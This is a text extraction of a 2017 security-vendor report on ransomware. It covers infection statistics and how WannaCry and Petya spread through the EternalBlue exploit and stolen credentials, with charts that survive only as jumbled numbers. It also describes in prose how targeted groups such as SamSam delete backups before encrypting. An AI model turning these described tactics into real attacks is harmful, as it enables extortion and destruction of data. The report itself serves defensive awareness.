14 Consumer vs enterprise, blocked ransomware infections, 2015–2017 to date
14 Consumer vs enterprise ransomware infections, 2017 to date
17 Average ransom amount in US dollars, by year
21 Email malware rate (one in) seen by Symantec, which dropped significantly after Necurs went offline in late December 2016
21 Web attacks blocked by Symantec per month28 02 Contain
29 Advanced antivirus engine
29 SONAR behavior engine
29 Sapient – machine learning
29 Best practice
29 Ongoing development
29 03 Respond
29 Incident Response
29 Best practices
30 Appendix: Symantec detections for
common ransomware families
34 About Symantec
34 More Information3 Executive summary and key findings
5 Ransomware: An overview
8 A new breed of threat: WannaCry
and Petya
9 How WannaCry spread and how it was stopped
9 What is EternalBlue?
10 Poor implantation, poor returns
10 Petya: Different threat, similar tactics
10 Who was behind the WannaCry attacks?
11 How Petya was spread
11 Ransomware or wiper?
12 Ransomware as a political tool
13 Businesses in the crosshairs
14 Worms are not the only threat
14 Targeted ransomware attacks
15 Prevention is possible, a cure may not be
16 Affecting the bottom line: Impact of ransomware
17 Ransom demands stabilize
17 Financial and reputational damage
18 How many people pay?
19 How ransomware is spread
20 Email: Main source of menace
21 Exploit kits
22 Other infection vectors
23 Major ransomware threats
24 Cerber
24 Jaff
25 Sage
25 GlobeImposter
26 Locky
26 Mamba
27 Protection and best practices
28 01 Prevent
28 Email security
28 Intrusion prevention
28 Proactive Exploit Protection
28 Download Insight
28 Browser Protection
28 Best practiceInternet Security Threat Report
Executive summary
and key findings
00SectionExecutive Summary and Key FindingsBack to Table of ContentsPage 4
00 Ransomware 2017
Executive Summary
The ransomware landscape shifted dramatically
this year with the appearance of two new self-propagating threats in the form of WannaCry and
Petya. Both outbreaks caused global panic, catching
many organizations off-guard, with infections spreading rapidly across corporate networks.
Prior to these outbreaks, the main threat posed by ransomware
was from widescale malicious spam campaigns, capable of
sending ransomware to millions of email addresses on a daily
basis, in addition to a growing number of targeted attacks directed at organizations.
The arrival of WannaCry and Petya illustrates how malicious
threats can suddenly and unexpectedly evolve and catch
unprepared organizations by surprise.
The impact of these incidents will not go unnoticed on the
cyber crime underground and it’s likely that other groups may
attempt similar tactics. Because of the nature of these attacks,
organizations are particularly at risk (and were the main victims of both WannaCry and Petya). Businesses need to educate
themselves about this new avenue of attack and ensure they
have defenses in place.
At the same time, traditional mass-mailing ransomware attacks
remain an ongoing threat; and while some spamming operations were disrupted this year, they nevertheless pose a significant
risk.
Targeted ransomware attacks, involving the compromise of an
organization’s network and infection of multiple computers
continue to pose a threat. Although less prevalent than mass mailed threats, the damage caused by a targeted attack is
potentially much higher.
Ransomware is now one of the key cyber threats facing
organizations and can have a major impact on their bottom line,
from financial losses, disruption, and reputational damage.
Attacks where dozens or even hundreds of computers are infected can leave businesses with enormous cumulative
ransom demands.
However, ransom demands are not the only potential source
of losses. Over the past year, a growing number of firms
have gone on the record about the impact of ransomware on their businesses, with a range of major corporations citing
ransomware attacks as materially affecting earnings.Key findings
|The advent of worm-type ransomware is a new and highly
disruptive avenue of attack.
|Businesses in particular are most at risk to worm-type
threats, which can spread in minutes across poorly secured networks.
|During the first six months of 2017, organizations accounted
for 42 percent of all ransomware infections, up from 30 percent in 2016 and 29 percent in 2015. This shift was
mainly accounted for by WannaCry and Petya.
|Overall ransomware infection numbers are continuing
to trend upwards, powered by the WannaCry and Petya
outbreaks.
|The average ransom demand seen in new ransomware
families appears to have stabilized at US$544 indicating attackers may have found their sweet spot.
|The U.S. is still the country most affected by ransomware,
followed by Japan, Italy, India, Germany, Netherlands, UK, Australia, Russia, and Canada.
|After a dramatic increase in 2016, when the number of new
ransomware families more than tripled, the number of new families appearing slowed in the first six months to 16.
|The drop-off in 2017 may indicate that the “gold rush”
mentality among cyber criminals is beginning to abate somewhat, leaving the market to be dominated by
professional ransomware gangs.Internet Security Threat Report
Ransomware:
An overview
01SectionRansomware: An OverviewBack to Table of ContentsPage 6
01 Ransomware 2017
After an increase of 36 percent between 2015
and 2016, the rate of ransomware infections
seen by Symantec has continued to increase. In
the first six months of 2017, Symantec blocked just over 319,000 ransomware infections. If this infection rate continued for the full year, 2017
would be a significant increase over 2016, when
a total of 470,000 infections were blocked.
It is important to note that these detection figures represent
a small fraction of the total amount of ransomware being
blocked by Symantec, with the majority of attacks being
blocked earlier in the infection process. For example, virtually all WannaCry infection attempts were blocked at exploit level
by Symantec’s Intrustion Prevention System (IPS), which
prevented the ransomware from reaching the computer.
Ransomware infections by year
0
100200300400500
2017
(to date)2016 2015361470
319Thousand
When broken down by months, the rate of infection has
trended upwards between January 2016 and June 2017, with a
notable increase in infections occurring in May and June 2017.
Ransomware infections by month
10,00020,00030,00040,00050,00060,00070,00080,00090,000
J MA MF JAN
2017DNOSAJJ MA MF JAN
2016Ransomware infectionsThis spike in infections was in a large part due to the WannaCry
and Petya outbreaks, which accounted for 28 percent of infec-
tions in May and 21 percent of infections in June.
Impact of WannaCry and Petya outbreaks on monthly
infection rate
10,00020,00030,00040,00050,00060,00070,00080,00090,000
J MA MF JAN
2017DNOSAJJ MA MF JAN
2016WannaCry and Petya infections All other ransomware infections
If WannaCry and Petya infection numbers were stripped out
of monthly figures, the infection rate would still be moving
upwards between January 2016 and June 2017, albeit at a much
more gradual rate.
Monthly ransomware infection numbers
without WannaCry and Petya
10,00020,00030,00040,00050,00060,00070,00080,00090,000
J MA MF JAN
2017DNOSAJJ MA MF JAN
2016Ransomware infections without WannaCry and Petya
New ransomware families by year
102030405060708090100110120
2017
(to date)2016 2015 2014Ransomware familiesRansomware: An OverviewBack to Table of ContentsPage 7
01 Ransomware 2017
After a dramatic increase in 2016, when the number of new
ransomware families more than tripled, the number of new
families appearing slowed in the first six months to 16. If this
rate continues for the full year, it will be a decline on 2016, but still higher than 2014 and 2015, when both years saw the
emergence of 30 new ransomware families.
The number of new threats emerging in 2016 suggested that
a large number of attackers were attempting to jump on the
ransomware bandwagon by developing their own threats. The
drop-off in 2017 may indicate that this “gold rush” mentality is beginning to abate somewhat. That doesn’t mean that the
threat of ransomware has reduced in any significant way,
rather that many of the more opportunistic efforts at exploit -
ing it have run their course. There are still a large number
of highly active, professional ransomware developers who
continue to pose a threat.
The U.S. has continued to be the region most affected by
ransomware during 2017 to date, accounting for 29 percent
of all infections. Japan (9 percent), Italy (8 percent), India (4 percent), and Germany (4 percent) were also heavily
affected. The top 10 regions were rounded out by Nether -
lands (3 percent), UK (3 percent), Australia (3 percent), Russia
(3 percent), and Canada (3 percent).
The top 10 regions most affected by ransomware in the first
half of 2017 were identical to the top 10 in 2016. The only major difference is that the U.S. share of ransomware infec-
tions fell from 34 percent in 2016 to 29 percent in the first half
of 2017. Aside from this decline, there were no other major changes and no other region moved more than one percent.
Ransomware detections by region, 2016
25,000 50,000 75,000 100,000 125,000 150,000 175,000United KingdomAustraliaGermanyRussiaNetherlandsIndiaCanadaItalyJapanOther CountriesUnited States
3%3%3%3%3%4%4%7%9%27%34%
Detections2016Ransomware detections by region, 2017 (to date)
50,000 100,000 150,000 200,000 250,000 300,000 350,000CanadaRussiaAustraliaUnited KingdomNetherlandsGermanyIndiaItalyJapanUnited StatesOther Countries
3%3%3%3%3%4%4%8% 9%29%31%
Detections2017
After falling between 2015 and 2016, the number of ransom-
ware variants (i.e. distinct variants of ransomware families
seen for the first time) has begun to increase again. Symantec
logged 176,000 new ransomware variants in the first six months of 2017, compared to 241,000 for all of 2016.
New ransomware variants by year
50100150200250300350
2017
(to date)2016 2015342
241
176Thousand
The number of new ransomware variants seen has been
trending upwards as the year goes on, with a notable increase
particularly in May and June, the same months which saw the
WannaCry and Petya outbreaks.
New ransomware variants by month
5,00010,00015,00020,00025,00030,00035,00040,00045,00050,000
J MA MF JAN
2017DNOSAJJ MA MF JAN
2016Ransomware variantsInternet Security Threat Report
A new breed of
threat: WannaCry
and Petya
02SectionA new breed of threat: WannaCry and PetyaBack to Table of ContentsPage 9
02 Ransomware 2017
On Friday May 12 2017, a new variant of the
WannaCry ransomware (Ransom.Wannacry)
suddenly appeared, infecting thousands of computers worldwide within a matter of hours. It was a new and particularly dangerous form of threat because of its ability to self-propagate and
spread itself across an organization’s network
and on to other organizations via the internet.
WannaCry was not the first case of ransomware using a
worm-like infection vector. For example, ZCryptor (W32.
ZCrypt ) was the first to display self-propagation behavior
on the Windows platform. It infects all removable drives
with a copy of itself before it begins encrypting, increasing
its chances of spreading to other computers. A number of
Android ransomware families also display worm-like behavior by spreading to all contacts on a device’s address book using
SMS messages.
What was significant about WannaCry was not the fact that
it was a worm, rather the means it employed to spread itself—
exploiting critical vulnerabilities in Windows, which had been
patched two months beforehand by Microsoft.
The exploit used was known as “EternalBlue” and had been
released in April, part of a series of leaks by a group known as
the Shadow Brokers, who said the data had been stolen from the Equation cyber espionage group.How WannaCry spread and how it was stopped
The version of WannaCry that incorporated EternalBlue first
appeared on May 12 at around 6 a.m. UTC and began spreading immediately. Once it installed itself on a computer, it attempted
to use the EternalBlue exploit to spread to other computers on
the local network.
In addition to this, it would attempt to spread itself across the
internet by scanning random IP addresses in an attempt to
find other vulnerable computers. The propagation mechanism explains how WannaCry heavily affected some organizations
and how it managed to jump from one organization to another.
Symantec products proactively blocked any attempt to exploit
the vulnerabilities used by WannaCry, meaning customers were
fully protected before WannaCry first appeared. Observing
the number of exploit attempts blocked per hour gave some indication of the immediate impact. In the day leading up to
the outbreak, barely any blocked exploits were registered.
However, from midday on May 12, the number of exploits blocked jumped almost immediately to a rate of around 80,000
per hour.
Number of EternalBlue exploit attempts blocked by
Symantec per hour
20,00040,00060,00080,000100,000120,000
Mon
22Sun
21Sat
20Fri
19Thur
18Wed
17Tues
16Mon
15Sun
14Sat
13Fri
12Thur
11EternalBlue exploit attempts blocked per hour by Symantec
MAY 2017
The number of exploit attempts began to drop after the first
24 hours, largely because of the discovery of a “kill switch”,
which effectively halted the spread of WannaCry. When it is
installed on a computer, WannaCry attempts to contact a specific domain. If it the domain is unavailable, it continues
with its encrypting files and attempting to spread to other
computers. However, if the domain is contactable, the malware halts installation.
This kill switch feature was discovered later on May 12 by a
security researcher , who promptly registered the domain and
caused WannaCry to stop spreading. Triggering the kill switch
resulted in an immediate drop in exploit attempts blocked by
Symantec, which quickly fell off to between 20,000 and 30,000 What is EternalBlue?
EternalBlue is the name for an exploit of a vulnerability in the
Windows implementation of the Server Message Block (SMB) protocol (CVE-2017-0144). The vulnerability was the result of
a flaw which allowed a remote attacker to execute arbitrary
code on a targeted computer sending it specially crafted data packets.
The exploit was allegedly developed by the Equation cyber
espionage group, but was part of a trove of data acquired by a
mysterious group known as the Shadow Brokers, which began leaking the data in August 2016. To date there have been five separate leaks and EternalBlue was released as part of the most
recent leak, on April 14, 2017.
The vulnerability was patched by Microsoft on March 13,
2017 (MS17-010), a month before EternalBlue was leaked. Nevertheless, a significant number of unpatched computers remained and were exposed to the exploit. A new breed of threat: WannaCry and PetyaBack to Table of ContentsPage 10
02 Ransomware 2017
attempts, likely mostly accounted for by existing WannaCry
infections. The number of exploit attempts spiked periodically
again in subsequent days as copycat attacks began to be seen.
Poor implantation, poor returns
Making the kill switch so easy to find was one of a series of
mistakes the attackers made which served to limit the damage caused by WannaCry and limit their profits. The ransomware
was configured to generate a unique Bitcoin wallet address for
each infected computer. However due to a race condition bug
this code did not execute correctly. WannaCry defaulted to using
three hardcoded Bitcoin addresses for payment. This meant the
attackers were unable to identify which victims have paid.
Making the kill switch so easy to find
was one of a series of mistakes the attackers made which served to limit the damage caused by WannaCry and limit their profits.
The three wallets accumulated more than US$140,000 in
payments but were left untouched for almost three months
after the attack. Since Bitcoin payments are publicly recorded
and anyone who knows a wallet’s address can see what payments enter and leave a wallet, there was some specula-
tion that the glare of publicity had prompted the attackers to
abandon the money.
However, the wallets were eventually emptied in early August .
It is not clear yet where the money was moved to.
Petya: Different threat, similar tactics
Given the impact of the WannaCry outbreak, it was only a
matter of time before similar attacks were attempted and that eventually happened on June 27, when a new variant of the
Petya ransomware (Ransom.Petya ) appeared and managed to
infect hundreds of organizations.
Although not identical, the tactics used in this Petya outbreak
were quite similar to WannaCry and likely inspired by the
earlier outbreak. Petya also used the EternalBlue exploit as
a propagation mechanism, but also incorporated other SMB
network spreading techniques, which meant it could spread within organizations to computers that have been patched
against EternalBlue.
While WannaCry was designed to spread indiscriminately,
Petya was far more targeted. It appeared to be designed to Who was behind the WannaCry attacks?
In the days and weeks following the WannaCry outbreak,
evidence began to emerge as to who was behind the attack. While most ransomware is spread by ordinary cyber criminal
gangs, it became apparent that WannaCry may have come from
a different source.
Some key evidence emerged from investigation of an earlier
version of WannaCry, which was used in a small number of targeted attacks in February, March, and April. This earlier
version was quite similar to one used in May, the main
difference being that it didn’t use EternalBlue as a propagation mechanism, but instead relied on stolen credentials to spread across infected networks.
The tools and infrastructure used in those early attacks in
particular were found to have strong links to Lazarus, a group
that has been involved in a string of operations in recent years, including the destructive attacks on Sony Pictures in November 2014 and the theft of US$81 million from the Bangladesh Bank,
the nation’s central bank, in February 2016.
After the first WannaCry attack in February, three pieces of
malware linked to Lazarus were discovered on the victim’s network: Trojan.Volgmer and two variants of Backdoor.Destover ,
a disk-wiping tool also used in the Sony Pictures attacks.
The March and April attacks yielded further links to Lazarus.
In these attacks, two different backdoors were used to deploy
WannaCry: Trojan.Alphanc and Trojan.Bravonc . Alphanc is a
modified version of Backdoor.Duuzer , which has previously
been linked to Lazarus. Bravonc meanwhile used the same IP
addresses for command and control as Duuzer and Destover.
There were also commonalities between WannaCry itself
and other known Lazarus tools. For example, Bravonc and Infostealer.Fakepude (which has also been linked to Lazarus) used similar code obfuscation to WannaCry. There was
also shared code between WannaCry and another Lazarus
tool: Backdoor.Contopee.
While Lazarus was originally linked to cyber espionage type
attacks, it appears to have branched out in recent years to include financially motivated attacks. While the attack on the
Bangladesh Bank was highly lucrative, the group’s venture
into ransomware was less so and managed to generate more publicity than profits.A new breed of threat: WannaCry and PetyaBack to Table of ContentsPage 11
02 Ransomware 2017
mainly affect organizations in Ukraine and, while it spread
to other countries, this appears to be more collateral damage
rather than by design.
How Petya was spread
Petya is not a new threat and earlier versions were circulat -
ing for at least a year before the June 2017 attack. The version
used in these most recent attacks was adapted to include a
self-propagation mechanism.
The initial means of infection was via a Trojanized version of
MEDoc, a tax and accounting software package that is widely
used in Ukraine. The attackers managed to compromise the
MEDoc website and Trojanized a software update.
Once installed on a computer within an organization, Petya
began building a list of IP addresses to spread to. This mainly
involved internal addresses, but also included external IP addresses:
|All IP addresses and DHCP servers of all network adaptors
|All DHCP clients of the DHCP server if ports 445/139 are
open
|All IP addresses within the subnet as defined by the
subnet mask if ports 445/139 are open
|All computers you have a current open network
connection with
|All computers in the ARP cache
|All resources in Active Directory
|All server and workstation resources in Network
Neighborhood
|All resources in the Windows Credential Manager
(including Remote Desktop Terminal Services computers)
While WannaCry attempted to spread to random external IP addresses, Petya selected external IP addresses that were in some way linked to the organization already infected. This,
combined with the initial MEDoc infection vector, ensured that
Ukraine was the country most affected by the attack. Petya infection numbers on June 27 2017, with Ukraine the
most heavily affected country
30 60 90 120 150KoreaSouth AfricaPolandSpainItalyAustraliaCanadaHungaryBelgiumBrazilIrelandJapanChinaIndiaGermanyUnited KingdomFranceRussiaUnited StatesUkraine 138
46
26
22
19
18
18
15
14
13
12
121212
1111
10
99
8Peyta infections on June, 27 2017
With a list of IP addresses compiled, Petya then attempted to
build a list of credentials (user names and passwords) that it can
use to spread to these IP addresses. It built the list by stealing
credentials, both from the Windows Credential Manager and also by dropping and executing a credential dumper.
Armed with this information, Petya then began spreading
itself, using two methods. The first was through the aforemen-tioned EternalBlue exploit and the related EternalRomance
SMB exploit, also patched by Microsoft on March 13 2017
(MS17-010). The second method involved copying itself to targeted computers using the stolen credentials. This second
means of spreading meant that Petya could also copy itself to
computers that were patched against EternalBlue. Interesting-ly, Petya actually checked for the presence of Symantec and
Norton software on targeted computers and, if found, didn’t
attempt to use EternalBlue and EternalRomance, indicating the attackers were aware that the exploits wouldn’t work on
computers secured by Symantec products.
Ransomware or wiper?
Once it spread to other computers, Petya began the encryp -
tion process. It first modified the master boot record (MBR),
allowing it to hijack the normal loading process of the infected
computer during the next system reboot.
It then scanned the disk for 65 different file types and encrypted
any it found. The key was encrypted with an embedded public
key, Base64 encoded, and appended to a README.TXT file.
After a system reboot occurs, a second form of encryption
takes place. Here the infected MBR is loaded and encryption of
the entire disk begins, followed by display of a ransom note to the user. This ransom note displays an “installation key” which A new breed of threat: WannaCry and PetyaBack to Table of ContentsPage 12
02 Ransomware 2017
is a randomly generated string. A randomly generated Salsa20
key is then used for disk encryption.
However, the disk can never be decrypted, since there is no
actual relationship between the “installation key” and Salsa20 key. Petya, in effect, is disk-wiping malware rather than classic
ransomware. Even if the victim paid the ransom, they wouldn’t
recover their files. A new template for attacks?
The rapid spread and publicity generated by both WannaCry
and Petya make it quite likely that more attackers will attempt to
the replicate tactics used by deploying ransomware as a worm.
Straightforward copycat attacks are unlikely to have as wide an
impact as WannaCry and Petya. This is largely down to the fact
that awareness of the threat posed by the EternalBlue exploit is now quite high and most organizations will have patched
any vulnerable computers.
However, that is not to say that there is a significant potential
threat from ransomware attackers adopting similar tactics.
While EternalBlue made self-propagation quite easy, the Petya
attacks proved that there are alternative methods of self-prop -
agation. Although these methods may not be quite as easy or
as effective as EternalBlue, in the hands of skilled attackers,
they nevertheless could cause significant disruption to unpre -
pared organizations.
With the arrival of WannaCry, it
became apparent that ransomware was no longer solely the preserve of cybercrime groups. Petya provided further evidence of this.Ransomware as a political tool
With the arrival of WannaCry, it became apparent that
ransomware was no longer solely the preserve of cybercrime groups. Petya provided further evidence of this. From the
outset, there were signs that the attack wasn’t financially
motivated. To start with, the attack appeared designed to mainly target Ukraine, whereas a conventional cyber crime operation would attempt to spread the ransomware as widely
as possible. Secondly, the timing of the attack was interesting,
occurring on June 27, the day before Ukraine’s Constitution Day, a national holiday.
This information, combined with the fact that Petya wasn’t
really ransomware (since the infected computers could never be
decrypted), led Symantec to conclude that the Petya outbreak
was politically motivated, designed to cause disruption in Ukraine.
This was not the first time Ukraine was targeted with
destructive malware attacks. Disk-wiping malware was used
against targets in Ukraine in January 2016 and again in
December of that year, attacks which also resulted in power outages.
Petya was also not the first time that ransomware was used
as “cover” for a different sort of attack. Symantec Incident
Response last year investigated what appeared to be a mass
ransomware infection at a large company. Initially it appeared that hundreds of the firm’s computers had been infected with a variant of Ransom.Cryptowall.
When investigators looked into the ransomware sample, they
found that the malware hadn’t actually encrypted any files and
had just overwritten them with junk data. The malware, named Trojan.Phonywall, wasn’t real ransomware and was instead a disk wiper.
It transpired that the fake ransomware attack was staged
to cover up a cyber espionage attack. The attackers had
compromised the company five months previously, stealing thousands of files before attempting to cover up their activity with a fake ransomware attack.Internet Security Threat Report
Businesses in
the crosshairs
03SectionBusinesses in the crosshairsBack to Table of ContentsPage 14
03 Ransomware 2017
For the past number of years consumers are the most
likely victims of ransomware, usually accounting
for two-thirds of all infections. For example, in
2015 the proportion of consumer infections was 71 percent. This fell only marginally to 70 percent in 2016. That balance has shifted dramatically
during 2017, with enterprises now far more
exposed to ransomware. In the first six months of this year, 42 percent of all ransomware infections blocked by Symantec occurred at enterprises.
Consumer vs enterprise, blocked ransomware infections,
2015–2017 to date
2017
to date2016 2015Enterprise Consumer
29%71%
30%70%
42%58%100%
The reason for this major increase in the number of blocked
enterprise infections can be seen when the figures are broken
down on a monthly basis. Enterprise infections jumped
dramatically during May and June of 2017, the months when WannaCry and Petya hit.
Consumer vs enterprise ransomware infections,
2017 to date
5,00010,00015,00020,00025,00030,00035,00040,00045,00050,00055,00060,000
J MA MF JAN
2017DNOSAJJ MA MF JAN
2016Enterprise ConsumerWhy were enterprises and other organizations dispropor -
tionally affected by WannaCry and Petya? The worm-like
propagation mechanisms employed by both ransomware
families (see previous chapter) were designed to enable the ransomware to spread quickly across an entire computer
network. Many consumer computers are not connected to a
network, unlike those found in organizations.
While WannaCry and Petya also did have the ability to spread
across the internet to other vulnerable computers, this means
of transmission again largely affected other organizations. Most home internet routers would have blocked infection
attempts involving the EternalBlue exploit.
Organizations need to be aware of the threat posed by this
new breed of ransomware. The Petya outbreak demonstrated
that even without the shortcut of an exploit like EternalBlue,
attackers can create self-propagating ransomware that is capable of spreading across an entire network. It does require the use of
additional tools, such as credential stealers, which will yield the
user names and passwords needed to spread to other computers on a network. This requires more skill and time on the part of
attackers, but the potential rewards are much greater. Encrypt -
ing hundreds of computers in a single organization, particularly
if they aren’t backed up, could prove crippling for the victim,
who may be faced with a steep ransom demand.
Worms are not the only threat
While worm-type ransomware such as WannaCry and Petya
has dominated the headlines this year, it is far from the only ransomware threat affecting businesses. The most prevalent
form of ransomware continues to be traditional crypto ransom-
ware delivered through massive spam campaigns (see “How ransomware is spread” chapter).
Most of these spam campaigns are indiscriminate and are
simply sent to as many email addresses as possible, regard-less of whether they’re owned by individuals or organizations.
Many campaigns are disguised as routine correspondence,
such as invoices or delivery notifications. Since most business-es receive a high volume of similar, albeit legitimate emails
from customers and suppliers, malicious emails could be
inadvertently opened if they aren’t blocked by email security software. While the majority of campaigns are indiscriminate,
some are targeted, such as to certain organizations or to indi-
vidual countries.
Targeted ransomware attacks
Another threat which specifically affects organizations is targeted ransomware attacks, where the attackers select their
target in advance and attempt to cause the maximum disrup -
tion possible in the hope of a big ransom payout. Businesses in the crosshairsBack to Table of ContentsPage 15
03 Ransomware 2017
Many of these targeted ransomware attacks display a high
degree of technical competence and use similar tactics to those
used by cyber espionage groups, such as:
|“Living off the land”—using freely available, legitimate
network administration software and operating system features to help gain a foothold and move through a
network
|Stealing credentials and using them for lateral movement
|Conducting advance reconnaissance to learn more about
the target’s network in order to spread the infection as
widely as possible
Perhaps the most notable example of targeted ransom-
ware attacks to emerge in recent years is SamSam (Ransom.
SamSam ). The attackers behind SamSam will generally
attempt to gain a foothold on the victim’s network by finding a
weak spot in its defenses, such as an unpatched vulnerability
on a public-facing web server.
Once the attackers are on the network, they use publicly
available tools, such as Microsoft Sysinternals utilities to
traverse it and map every accessible computer and identify the
most valuable assets to target.
The attackers will then use a batch script to deploy SamSam,
along with a public encryption key to each targeted computer.
The attackers also go to great lengths to remove any backups that may exist, thus maximizing the potential impact of the
attack. The script will delete volume shadow copies from
targeted computers, preventing any files from being restored from them following infection. The attackers may also distrib -
ute a tool called sqlsrvtmg1.exe, which searches for any running backup processes and stops them. It also deletes any backup-related files it finds.
Finally, another batch script is used which begins the encryp -
tion process on all infected computers before the ransomware
deletes itself, leaving only the encrypted files and a ransom
note demanding a ransom of 1.5 Bitcoin (US$5,324 at the time
of writing) for each infected computer. With SamSam capable of infecting hundreds of computers in a targeted organization,
the total ransom demand will quickly add up.
SamSam is not the only targeted ransomware group in
operation. Mamba (Ransom.HDDCryptor ) has a similar modus
operandi and attackers compromise the victim’s network before infecting selected computers (for more details see “Major Ransomware Threats” chapter).
Another targeted threat is Bucbi (Ransom.Bucbi), which has
been used to compromise RDP servers. Once the attackers gain access to a victim’s network, they use the RDP server for lateral movement and can spend some time on reconnaissance, learning about the organization’s backup policies, for example.
Once the attackers have the information they need, they activate
the ransomware, encrypting files found on computers or other servers connected to the RDP server. The ransom demand is not
made by leaving a note and is instead done using email, allowing
the criminals to negotiate a higher amount by leveraging the information they obtained during their reconnaissance.
Many of these targeted ransomware
attacks display a high degree of technical competence and use
similar tactics to those used by
cyber espionage groups
Some targeted ransomware threats are designed specifical-
ly to compromise servers. For example, Ransomweb (PHP .Ransomweb ) will wait for several months post-compromise
before it demands payment. The delay occurs because it silently encrypts data written to the infected web server and decrypts it as it is read. Once enough time has passed, the attackers
remove the private encryption key from the server and send
a ransom note to the website owner. This waiting period is to ensure all incremental backups are also encrypted before the
ransom demand is made.
Prevention is possible, a cure may not be
One of the key messages organizations should take from the
wave of recent attacks is to avoid complacency. For example, simply patching against EternalBlue may not block all
worm-type threats. Similarly, backing up doesn’t inoculate you
against the threat of ransomware, since attackers may play the long game and attempt to encrypt all backups as well.
Organizations need to adopt a multi-layered approach to
security in order to best ensure that any point of failure is mitigated by other defensive practices. That should include
not only regularly patching vulnerabilities and ensuring
critical systems are backed up, but also employing multiple,
overlapping, and mutually supportive defensive systems to
guard against singlepoint failures in any specific technology or protection method. This should include the deployment
of regularly updated firewalls as well as gateway antivirus,
intrusion detection or protection systems (IPS), website vulner -
ability with malware protection, and web security gateway
solutions throughout the network.Internet Security Threat Report
Affecting the bottom
line: Impact of ransomware
04SectionAffecting the bottom line:
impact of ransomwareBack to Table of ContentsPage 17
04 Ransomware 2017
Ransomware is one of the most costly threats
that can affect an organization. Modern crypto
ransomware families use strong encryption that
puts any encrypted files out of reach unless a decryption key is obtained, leaving any organization without back-ups with the unpalatable choice of
losing important data or paying a ransom to cyber
criminals (with no guarantee that the attackers will keep their promise and provide a decryption key).
The potential costs don’t stop there. A ransomware
attack, particularly one that affects multiple
computers on a network, can cause significant disruption, resulting in lost productivity, missed deadlines, and cleanup costs. This can result in
reputational damage, particularly if the cause
of the disruption becomes public, leading to lost business. In some cases, organizations have
acknowledged that ransomware attacks have
had a material impact on their bottom line.
A ransom demand of $500 may
not sound like a lot to even a small company, but organizations need to bear in mind that the average demand relates to a single infection. Attacks where dozens or even hundreds of computers are infected will have a far higher cumulative ransom demand. Ransom demands stabilize
During 2016, the average ransom demand seen in new
ransomware families increased dramatically, rising more than
threefold from US$294 to $1,077. Perhaps motivated by the belief that that much more could be extracted from potential
victims, attackers appeared to up the ante during 2016 in
search of the highest possible return.
Since then, the average ransom demand has declined and, for
the first six months of 2017, the average demand seen in new
ransomware families was $544. Although considerably down from the 2016 figure, it is still nevertheless 85 percent up on
the 2015 figure and, after a period of trial and error, attackers
may be settling on around $500 as the “sweet spot” for ransom demands.
Average ransom amount in US dollars, by year
100200300400500600700800900$1,000$1,100$1,200
2017
(to date)2016 2015 2014Average ransom amount per year (USD)
$294$373$1,071
$544
A ransom demand of $500 may not sound like a lot to even a
small company, but organizations need to bear in mind that
the average demand relates to a single infection. Attacks where
dozens or even hundreds of computers are infected will have a far higher cumulative ransom demand.
Financial and reputational damage
As the ransomware epidemic grew, there was no shortage of
anecdotal evidence about firms opting to pay ransom demands.
However, over the past year, a growing number of companies have gone on the record to publicly acknowledge the impact of
ransomware on their businesses.
For example, earlier this year South Korean web hosting firm
Nayana was hit with a Linux version of the Erebus (Ransom.
Erebus ) ransomware that saw more than 153 Linux servers
encrypted . As a result, more than 3,400 customer websites
were knocked offline. Acknowledging the attack, Nayana said that the attackers had demanded a ransom of 550 Bitcoin
(approximately US$1.62 million at the time). Several days later, Nayana said that it had negotiated the ransom down with
the attackers, agreeing to pay 397 Bitcoin (approximately $1
million). It is believed to be the largest reported ransomware payout to date. Affecting the bottom line:
impact of ransomwareBack to Table of ContentsPage 18
04 Ransomware 2017
Nayana has not been alone in feeling the brunt of ransom-
ware attacks. Delivery giant FedEx announced in July
that the Petya outbreak will have an impact on its full
year results. The company’s stock price fell by over three percent immediately after the announcement.
FedEx said its Netherlands-based subsidiary TNT Express was heavily hit by Petya and was still experiencing delays as the
cleanup operation continued. As a result, TNT was processing
decreased volumes and incurring increased costs from remedi-ation. FedEx added that it didn’t have insurance to cover losses
from a cyber attack. The company is due to report full year
results in September.
Petya in particular appeared to have a heavy impact on corpo -
rates. Danish shipping giant AP Moller-Maersk said that Petya
will cost it up to US$300 million in lost revenues. Announcing second quarter results on August 16, the company warned that
its third quarter numbers would be affected by Petya.
“Business volumes were negatively affected for a couple of
weeks in July and as a consequence, our Q3 results will be
impacted. We expect that the cyber-attack will impact results
negatively by $200 million to $300 million,” said AP Moller-Maersk Group CEO Søren Skou.
German consumer products maker Beiersdorf said the attack
had impacted its half-year results, due to delays in shipping and production caused by the attack. It estimated that €35
million (US$41 million) in second-quarter sales were delayed
to the third quarter as a result.
Meanwhile, chocolate maker Mondelez International, which
is known for Oreos and Cadbury chocolates, estimated that
the attack would shrink second quarter sales growth by three percent (subscription link) due to disruptions to shipping and
invoices.
Pharmaceutical firm Reckitt Benckiser said it expected sales
would be reduced by approximately £110 million (US$142
million) this year. It was projecting a second quarter sales
drop of two percent, cutting annual revenue growth by a full percentage point.How many people pay?According to research carried out by the Norton Cyber Security
Insight team, 34 percent of victims will pay the ransom. This
proportion rises to 64 percent of victims in the U.S., providing some indication as to why the country is so heavily targeted.
Willingness to pay the ransom is likely a factor in the growth
and persistence of ransomware. Ransom payment has also become easier to manage. To encourage victims to pay, attackers
often now offer support on how to pay the fee—and the wider
availability of payment broker services makes it even easier to use Bitcoin—especially now that Bitcoin is not as obscure as it
used to be.
According to research carried out by
the Norton Cyber Security Insight team, 34 percent of victims will pay the ransom. This proportion rises to 64 percent of victims in the US, providing some indication as to why the country is so heavily targeted.Internet Security Threat Report
How ransomware
is spread
05SectionHow ransomware is spreadBack to Table of ContentsPage 20
05 Ransomware 2017
Ransomware is spread through a range of different
means, aka infection vectors. Despite some
disruptions to malicious distribution services, email
continues to be the primary distribution channel for ransomware. Exploit kits and, more recently, self-propagation in the form of worm-type ransomware
are also used along with a range of more niche
vectors. Understanding where ransomware comes from is a key step in building an organization’s defenses against it. Blocking threats at the source,
before they have an opportunity to download
themselves to computers inside a network, is one of the most effective means of protection.
Email: Main source of menace
One of the main distribution channels for ransomware is
through massive malicious spam campaigns. This spam
is distributed using botnets—networks of compromised computers, ranging from hundreds to millions of infected
computers. Many of these botnets are capable of sending out
large spam runs on a daily basis, most of which use simple social-engineering tactics to trick recipients into compromis-
ing their computers. Infection may occur if the user performs
any of the following actions:
|Opens a malicious attachment that directly installs the
ransomware.
|Opens a malicious attachment that initiates a second-
stage delivery through a downloader, which subsequently
downloads and installs the ransomware. JavaScript
downloaders which launch malicious PowerShell commands have been widely used this year, but other
forms of downloader, including Office macros are also
used.
